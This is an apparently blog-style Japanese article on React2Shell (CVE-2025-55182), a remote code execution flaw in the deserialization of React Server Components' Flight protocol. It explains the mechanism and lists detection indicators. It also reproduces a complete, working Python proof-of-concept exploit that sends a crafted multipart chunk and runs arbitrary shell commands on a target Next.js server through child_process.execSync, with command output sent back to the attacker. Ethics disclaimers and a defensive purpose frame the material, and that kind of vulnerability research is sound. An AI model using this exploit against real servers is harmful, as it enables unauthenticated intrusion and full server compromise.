
React2Shell、CVE-2025-55182、RCE Vulnerability: React Server Componentsにおける安全でないデシリアライゼーションの脆弱性の重大な解説。認証されていないリモートコード実行をデフォルトのReact/Next.js環境で可能にします。
React2Shell (CVE-2025-55182) は、React 19.xおよびNext.jsなどのフレームワークのReact Server Components (RSC) に影響を与える重大なリモートコード実行 (RCE)脆弱性です。この欠陥は、「Flight」プロトコルチャンクの安全でない逆シリアル化にあり、攻撃者が悪意のある構造を注入してFunctionコンストラクタに解決させ、サーバー上で任意のJavaScriptを実行できるようにします。
React Server Componentsは、クライアント/サーバーレンダリングをよりシームレスで構成可能なワークフローで橋渡しするために導入されました。そのために、ReactはFlightプロトコルと呼ばれる独自のバイナリ風シリアル化チャネルを使用します。
残念ながら、このプロトコルの逆シリアル化ロジックには微妙な欠陥があり、攻撃者が悪意のあるペイロードをReactのランタイムに深く潜入させることを可能にしました。
結果は?完全な認証不要のリモートコード実行チェーン、現在はReact2Shellと呼ばれています。そう、その影響は規模とアクセス性においてLog4Shellに匹敵します。🔥
この記事では、脆弱性をクリーンで実践可能な形式で解説します。VAPT実務者、研究者、防御者に最適です。
RSCは、参照、オブジェクト、コンポーネントメタデータ、非同期境界などを表すシリアル化された「チャンク」を送信してクライアントと通信します。これらのチャンクがサーバーまたはクライアントに到着すると、Reactはそれらをオブジェクトと関数に逆シリアル化します。このプロセスはデータ構造が安全であることを前提としています。ここが壊れたところです。
攻撃者は、以下を含む悪意のあるチャンクを作成する方法を見つけました:
thenables)例のパターン:
"$then": { "constructor": { "prototype": null } }
逆シリアル化中、Reactはこのオブジェクトをthenableと解釈して呼び出します:
promise.then(...)
しかし、ここでの then は実際にはFunctionコンストラクタであるため、呼び出しは:
(new Function("malicious_payload"))();
となります。これにより、React Server Componentsを実行しているNode.js環境内で任意のJavaScript実行が行われます。ドカン — RCEの完成です。
これが、この脆弱性が公開されるとすぐにクラウドベンダー、セキュリティチーム、CERTが即座に反応した理由です。
以下へのMultipart POSTリクエスト:
/react/rsc/server, /flight, /server-actions以下のキーを含むペイロード:
$then$proto$constructor$type疑わしいNode.jsの実行(例):
node -e "<payload>"
以下の下にある予期しないファイル:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ 重要な注意
私はこのPoCを所有していません。
以下の公開リポジトリから参照しており、著者に全クレジットを付与します:
👉 https://github.com/msanft/CVE-2025-55182
以下の概念実証 (PoC) は、教育および防御的なサイバーセキュリティ研究のためだけに提供されています。
これは、隔離されたラボ環境または明示的な許可を得たシステムでのみ実行する必要があります。
このコードを不正アクセス、悪用、システム侵害に悪用することは、違法かつ非倫理的であり、サイバーセキュリティ法の下で罰せられます。
責任を持って進めてください。🛡️💻
以下が完全なPoCです:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
このPoCを実行した場合、管理されたサンドボックス内で行い、本番環境やサードパーティの資産では実行しないでください。
このデモは、アナリスト、開発者、防御者がCVE-2025-55182 (React2Shell) を理解、検出、緩和するためだけに存在します。
この情報の悪意のある使用や許可のない使用は固く禁止されており、著者は支持しません。
倫理的でいてください。安全でいてください。🐉🔥
React2Shellは、いかに洗練されていても、シリアル化層が現代のフレームワークにおいて最も危険なコンポーネントの一つであることを強く思い出させてくれます。検証なしに任意のオブジェクトがランタイムに触れた瞬間、RCEへの連鎖は痛々しいほど短くなります。
お読みいただきありがとうございます — そしていつものように、倫理的にハッキングし続け、絶えず学び続け、そのセキュリティの火を燃やし続けてください。🔥🐉
この記事を楽しんでいただけた場合、または私のサイバーセキュリティ研究とつながりたい場合は:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010